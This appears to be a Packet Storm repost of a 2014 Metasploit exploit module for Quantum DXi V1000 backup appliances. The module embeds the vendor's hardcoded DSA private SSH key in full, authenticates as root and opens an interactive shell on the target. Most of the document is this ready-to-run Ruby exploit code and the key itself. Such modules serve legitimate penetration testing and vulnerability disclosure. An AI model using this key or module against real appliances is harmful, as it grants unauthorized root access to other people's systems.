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Quantum DXi V1000 SSH Private Key Exposure

Quantum DXi V1000 SSH Private Key Exposure
Posted Mar 20, 2014
Authored by xistence | Site metasploit.com

Quantum ships a public/private key pair on DXi V1000 2.2.1 appliances that allows passwordless authentication to any other DXi box. Since the key is easily retrievable, an attacker can use it to gain unauthorized remote access as root.

tags | exploit, remote, root
SHA-256 | c044490578edb32019383826af35b916fee53306c749cd979607ab19079e339f

Quantum DXi V1000 SSH Private Key Exposure

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##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'net/ssh'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

def initialize(info = {})
super(update_info(info, {
'Name' => 'Quantum DXi V1000 SSH Private Key Exposure',
'Description' => %q{
Quantum ships a public/private key pair on DXi V1000 2.2.1 appliances that
allows passwordless authentication to any other DXi box. Since the key is
easily retrievable, an attacker can use it to gain unauthorized remote
access as root.
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Privileged' => true,
'Targets' => [ [ "Universal", {} ] ],
'Payload' =>
{
'Compat' => {
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find',
},
},
'Author' => 'xistence <xistence[at]0x90.nl>', # Discovery, Metasploit module
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'http://packetstormsecurity.com/files/125755/quantum-root.txt']
],
'DisclosureDate' => "Mar 17 2014",
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
'DefaultTarget' => 0
}))

register_options(
[
# Since we don't include Tcp, we have to register this manually
Opt::RHOST(),
Opt::RPORT(22)
], self.class
)

register_advanced_options(
[
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
]
)

end

# helper methods that normally come from Tcp
def rhost
datastore['RHOST']
end
def rport
datastore['RPORT']
end

def do_login(user)
opt_hash = {
:auth_methods => ['publickey'],
:msframework => framework,
:msfmodule => self,
:port => rport,
:key_data => [ key_data ],
:disable_agent => true,
:config => false,
:record_auth_info => true,
:proxies => datastore['Proxies']
}
opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
begin
ssh_socket = nil
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
ssh_socket = Net::SSH.start(rhost, user, opt_hash)
end
rescue Rex::ConnectionError, Rex::AddressInUse
return nil
rescue Net::SSH::Disconnect, ::EOFError
print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
return nil
rescue ::Timeout::Error
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
return nil
rescue Net::SSH::AuthenticationFailed
print_error "#{rhost}:#{rport} SSH - Failed authentication"
return nil
rescue Net::SSH::Exception => e
print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
return nil
end

if ssh_socket

# Create a new session from the socket, then dump it.
conn = Net::SSH::CommandStream.new(ssh_socket, '/bin/bash', true)
ssh_socket = nil

return conn
else
return nil
end
end

def exploit
conn = do_login("root")
if conn
print_good "#{rhost}:#{rport} - Successful login"
handler(conn.lsock)
end
end

def key_data
<<EOF
-----BEGIN DSA PRIVATE KEY-----
MIIBugIBAAKBgQCEgBNwgF+IbMU8NHUXNIMfJ0ONa91ZI/TphuixnilkZqcuwur2
hMbrqY8Yne+n3eGkuepQlBBKEZSd8xPd6qCvWnCOhBqhkBS7g2dH6jMkUl/opX/t
Rw6P00crq2oIMafR4/SzKWVW6RQEzJtPnfV7O3i5miY7jLKMDZTn/DRXRwIVALB2
+o4CRHpCG6IBqlD/2JW5HRQBAoGAaSzKOHYUnlpAoX7+ufViz37cUa1/x0fGDA/4
6mt0eD7FTNoOnUNdfdZx7oLXVe7mjHjqjif0EVnmDPlGME9GYMdi6r4FUozQ33Y5
PmUWPMd0phMRYutpihaExkjgl33AH7mp42qBfrHqZ2oi1HfkqCUoRmB6KkdkFosr
E0apJ5cCgYBLEgYmr9XCSqjENFDVQPFELYKT7Zs9J87PjPS1AP0qF1OoRGZ5mefK
6X/6VivPAUWmmmev/BuAs8M1HtfGeGGzMzDIiU/WZQ3bScLB1Ykrcjk7TOFD6xrn
k/inYAp5l29hjidoAONcXoHmUAMYOKqn63Q2AsDpExVcmfj99/BlpQIUYS6Hs70u
B3Upsx556K/iZPPnJZE=
-----END DSA PRIVATE KEY-----
EOF
end
end


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